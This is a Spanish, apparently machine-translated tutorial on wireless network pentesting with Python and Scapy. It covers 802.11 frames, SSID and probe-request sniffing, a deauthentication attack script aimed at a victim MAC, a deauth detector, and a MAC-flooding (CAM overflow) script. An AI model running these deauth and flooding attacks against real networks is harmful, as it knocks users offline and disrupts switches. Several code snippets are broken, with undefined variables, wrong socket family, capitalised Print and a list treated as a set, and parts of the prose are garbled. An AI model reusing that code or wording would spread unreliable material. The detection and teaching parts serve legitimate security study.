Pentesting de red inalámbrica
Los sistemas inalámbricos tienen mucha flexibilidad pero, por otro lado, también conllevan serios problemas de seguridad. Y, ¿cómo se convierte esto en un problema de seguridad serio? Porque los atacantes, en el caso de la conectividad inalámbrica, solo necesitan tener la disponibilidad de señal para atacar en lugar de tener el acceso físico como en el caso de una red cableada. La prueba de penetración de los sistemas inalámbricos es una tarea más sencilla que hacerlo en la red cableada. Realmente no podemos aplicar buenas medidas de seguridad física contra un medio inalámbrico, si nos ubicamos lo suficientemente cerca, podríamos "escuchar" (o al menos su adaptador inalámbrico puede escuchar) todo lo que fluye por el aire.
Prerrequisitos
Antes de comenzar a aprender más sobre el pentesting de redes inalámbricas, consideremos discutir las terminologías y el proceso de comunicación entre el cliente y el sistema inalámbrico.
Terminologías importantes
Aprendamos ahora las importantes terminologías relacionadas con el pentesting de redes inalámbricas.
Punto de acceso (AP)
Un punto de acceso (AP) es el nodo central en las implementaciones inalámbricas 802.11. Este punto se utiliza para conectar a los usuarios con otros usuarios dentro de la red y también puede servir como punto de interconexión entre la LAN inalámbrica (WLAN) y una red de cable fijo. En una WLAN, un AP es una estación que transmite y recibe los datos.
Identificador de conjunto de servicios (SSID)
Es una cadena de texto legible por humanos de 0-32 bytes de longitud, que es básicamente el nombre asignado a una red inalámbrica. Todos los dispositivos de la red deben utilizar este nombre que distingue entre mayúsculas y minúsculas para comunicarse a través de una red inalámbrica (Wi-Fi).
Identificación del conjunto de servicios básicos (BSSID)
Es la dirección MAC del chipset Wi-Fi que se ejecuta en un punto de acceso inalámbrico (AP). Se genera de forma aleatoria.
Numero de canal
Representa el rango de radiofrecuencia que utiliza el punto de acceso (AP) para la transmisión.
Comunicación entre el cliente y el sistema inalámbrico
Otra cosa importante que debemos comprender es el proceso de comunicación entre el cliente y el sistema inalámbrico. Con la ayuda del siguiente diagrama, podemos entender lo mismo:
![](https://assets.edu.lat/python_penetration_testing/images/client_and_wireless_system_communicating.jpg)
El marco de la baliza
En el proceso de comunicación entre el cliente y el punto de acceso, el AP envía periódicamente una trama de baliza para mostrar su presencia. Este marco viene con información relacionada con SSID, BSSID y número de canal.
La solicitud de la sonda
Ahora, el dispositivo cliente enviará una solicitud de sonda para verificar los AP dentro del rango. Después de enviar la solicitud de la sonda, esperará la respuesta de la sonda de AP. La solicitud de sonda contiene información como SSID de AP, información específica del proveedor, etc.
La respuesta de la sonda
Ahora, después de recibir la solicitud de la sonda, AP enviará una respuesta de la sonda, que contiene la información como la velocidad de datos admitida, la capacidad, etc.
La solicitud de autenticación
Ahora, el dispositivo cliente enviará una trama de solicitud de autenticación que contiene su identidad.
La respuesta de autenticación
Ahora, en respuesta, el AP enviará una trama de respuesta de autenticación indicando aceptación o rechazo.
La solicitud de la Asociación
Cuando la autenticación es exitosa, el dispositivo cliente ha enviado una trama de solicitud de asociación que contiene la velocidad de datos admitida y el SSID del AP.
La respuesta de la Asociación
Ahora, en respuesta, el AP enviará una trama de respuesta de asociación indicando aceptación o rechazo. Se creará un ID de asociación del dispositivo cliente en caso de aceptación.
Encontrar el identificador de conjunto de servicios inalámbricos (SSID) con Python
Podemos recopilar la información sobre SSID con la ayuda del método de socket sin formato, así como utilizando la biblioteca Scapy.
Método de encaje sin procesar
Ya hemos aprendido que mon0captura los paquetes inalámbricos; entonces, necesitamos configurar el modo de monitor enmon0. En Kali Linux, se puede hacer con la ayuda deairmon-ngguión. Después de ejecutar este script, le dará un nombre a la tarjeta inalámbrica.wlan1. Ahora, con la ayuda del siguiente comando, necesitamos habilitar el modo monitor enmon0 -
airmon-ng start wlan1
A continuación se muestra el método de socket sin formato, el script Python, que nos dará el SSID del AP:
En primer lugar, debemos importar los módulos de socket de la siguiente manera:
import socket
Ahora, crearemos un socket que tendrá tres parámetros. El primer parámetro nos dice sobre la interfaz del paquete (PF_PACKET para Linux específico y AF_INET para Windows), el segundo parámetro nos dice si es un socket sin formato y el tercer parámetro nos dice que estamos interesados en todos los paquetes.
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0003))
Ahora, la siguiente línea unirá el mon0 modo y 0x0003.
s.bind(("mon0", 0x0003))
Ahora, necesitamos declarar una lista vacía, que almacenará el SSID de los AP.
ap_list = []
Ahora, necesitamos llamar al recvfrom()método para recibir el paquete. Para que el olfateo continúe, usaremos el ciclo while infinito.
while True:
packet = s.recvfrom(2048)
La siguiente línea de código muestra si la trama es de 8 bits indicando la trama de la baliza.
if packet[26] == "\x80" :
if packetkt[36:42] not in ap_list and ord(packetkt[63]) > 0:
ap_list.add(packetkt[36:42])
print("SSID:",(pkt[64:64+ord(pkt[63])],pkt[36:42].encode('hex')))
Sniffer SSID con Scapy
Scapy es una de las mejores bibliotecas que nos permite rastrear fácilmente paquetes Wi-Fi. Puedes aprender Scapy en detalle enhttps://scapy.readthedocs.io/en/latest/. Para empezar, ejecute Sacpy en modo interactivo y use el comando conf para obtener el valor de iface. La interfaz predeterminada es eth0. Ahora que tenemos el domo de arriba, necesitamos cambiar este modo a mon0. Se puede hacer de la siguiente manera:
>>> conf.iface = "mon0"
>>> packets = sniff(count = 3)
>>> packets
<Sniffed: TCP:0 UDP:0 ICMP:0 Other:5>
>>> len(packets)
3
Ahora importemos Scapy como biblioteca. Además, la ejecución del siguiente script de Python nos dará el SSID:
from scapy.all import *
Ahora, necesitamos declarar una lista vacía que almacenará el SSID de los AP.
ap_list = []
Ahora vamos a definir una función llamada Packet_info(), que tendrá la lógica completa de análisis de paquetes. Tendrá el argumento pkt.
def Packet_info(pkt) :
En la siguiente declaración, aplicaremos un filtro que pasará solo Dot11tráfico que significa tráfico 802.11. La línea que sigue es también un filtro, que pasa el tráfico que tiene el tipo de trama 0 (representa la trama de gestión) y el subtipo de trama es 8 (representa la trama de baliza).
if pkt.haslayer(Dot11) :
if ((pkt.type == 0) & (pkt.subtype == 8)) :
if pkt.addr2 not in ap_list :
ap_list.append(pkt.addr2)
print("SSID:", (pkt.addr2, pkt.info))
Ahora, la función de rastreo rastreará los datos con iface valor mon0 (para paquetes inalámbricos) e invocar el Packet_info función.
sniff(iface = "mon0", prn = Packet_info)
Para implementar los scripts de Python anteriores, necesitamos una tarjeta Wi-Fi que sea capaz de oler el aire usando el modo de monitor.
Detectar clientes de puntos de acceso
Para detectar los clientes de los puntos de acceso, necesitamos capturar el marco de solicitud de la sonda. Podemos hacerlo tal como lo hemos hecho en el script de Python para el rastreador de SSID usando Scapy. Tenemos que darDot11ProbeReqpara capturar el marco de solicitud de la sonda. A continuación se muestra el script de Python para detectar clientes de puntos de acceso:
from scapy.all import *
probe_list = []
ap_name= input(“Enter the name of access point”)
def Probe_info(pkt) :
if pkt.haslayer(Dot11ProbeReq) :
client_name = pkt.info
if client_name == ap_name :
if pkt.addr2 not in Probe_info:
Print(“New Probe request--”, client_name)
Print(“MAC is --”, pkt.addr2)
Probe_list.append(pkt.addr2)
sniff(iface = "mon0", prn = Probe_info)
Ataques inalámbricos
Desde la perspectiva de un pentester, es muy importante comprender cómo se produce un ataque inalámbrico. En esta sección, analizaremos dos tipos de ataques inalámbricos:
Los ataques de desautenticación (deauth)
El ataque de inundación MAC
Los ataques de desautenticación (deauth)
En el proceso de comunicación entre un dispositivo cliente y un punto de acceso, cuando un cliente desea desconectarse, debe enviar la trama de desautenticación. En respuesta a esa trama del cliente, AP también enviará una trama de desautenticación. Un atacante puede obtener la ventaja de este proceso normal falsificando la dirección MAC de la víctima y enviando el marco de desautenticación a AP. Debido a esto, se cae la conexión entre el cliente y el AP. A continuación se muestra el script de Python para llevar a cabo el ataque de desautenticación:
Primero importemos Scapy como una biblioteca -
from scapy.all import *
import sys
Las siguientes dos declaraciones ingresarán la dirección MAC del AP y la víctima respectivamente.
BSSID = input("Enter MAC address of the Access Point:- ")
vctm_mac = input("Enter MAC address of the Victim:- ")
Ahora, necesitamos crear el marco de desautenticación. Se puede crear ejecutando la siguiente instrucción.
frame = RadioTap()/ Dot11(addr1 = vctm_mac, addr2 = BSSID, addr3 = BSSID)/ Dot11Deauth()
La siguiente línea de código representa el número total de paquetes enviados; aquí es 500 y el intervalo entre dos paquetes.
sendp(frame, iface = "mon0", count = 500, inter = .1)
Salida
Tras la ejecución, el comando anterior genera la siguiente salida:
Enter MAC address of the Access Point:- (Here, we need to provide the MAC address of AP)
Enter MAC address of the Victim:- (Here, we need to provide the MAC address of the victim)
A esto le sigue la creación de la trama deauth, que de ese modo se envía al punto de acceso en nombre del cliente. Esto hará que la conexión entre ellos se cancele.
La pregunta aquí es cómo detectamos el ataque deauth con el script Python. La ejecución del siguiente script de Python ayudará a detectar tales ataques:
from scapy.all import *
i = 1
def deauth_frame(pkt):
if pkt.haslayer(Dot11):
if ((pkt.type == 0) & (pkt.subtype == 12)):
global i
print ("Deauth frame detected: ", i)
i = i + 1
sniff(iface = "mon0", prn = deauth_frame)
En el script anterior, la declaración pkt.subtype == 12 indica la trama deauth y la variable I, que se define globalmente, indica el número de paquetes.
Salida
La ejecución del script anterior genera la siguiente salida:
Deauth frame detected: 1
Deauth frame detected: 2
Deauth frame detected: 3
Deauth frame detected: 4
Deauth frame detected: 5
Deauth frame detected: 6
Los ataques de inundación de direcciones MAC
El ataque de inundación de dirección MAC (ataque de inundación de tabla CAM) es un tipo de ataque de red en el que un atacante conectado a un puerto de conmutador inunda la interfaz del conmutador con una gran cantidad de tramas Ethernet con diferentes direcciones MAC de origen falsas. Los desbordamientos de la tabla CAM se producen cuando un flujo de direcciones MAC se inunda en la tabla y se alcanza el umbral de la tabla CAM. Esto hace que el conmutador actúe como un concentrador, inundando la red con tráfico en todos los puertos. Estos ataques son muy fáciles de lanzar. La siguiente secuencia de comandos de Python ayuda a lanzar dicho ataque de inundación CAM:
from scapy.all import *
def generate_packets():
packet_list = []
for i in xrange(1,1000):
packet = Ether(src = RandMAC(), dst = RandMAC())/IP(src = RandIP(), dst = RandIP())
packet_list.append(packet)
return packet_list
def cam_overflow(packet_list):
sendp(packet_list, iface='wlan')
if __name__ == '__main__':
packet_list = generate_packets()
cam_overflow(packet_list)
El principal objetivo de este tipo de ataque es comprobar la seguridad del conmutador. Necesitamos usar la seguridad del puerto si queremos disminuir el efecto del ataque de inundación MAC.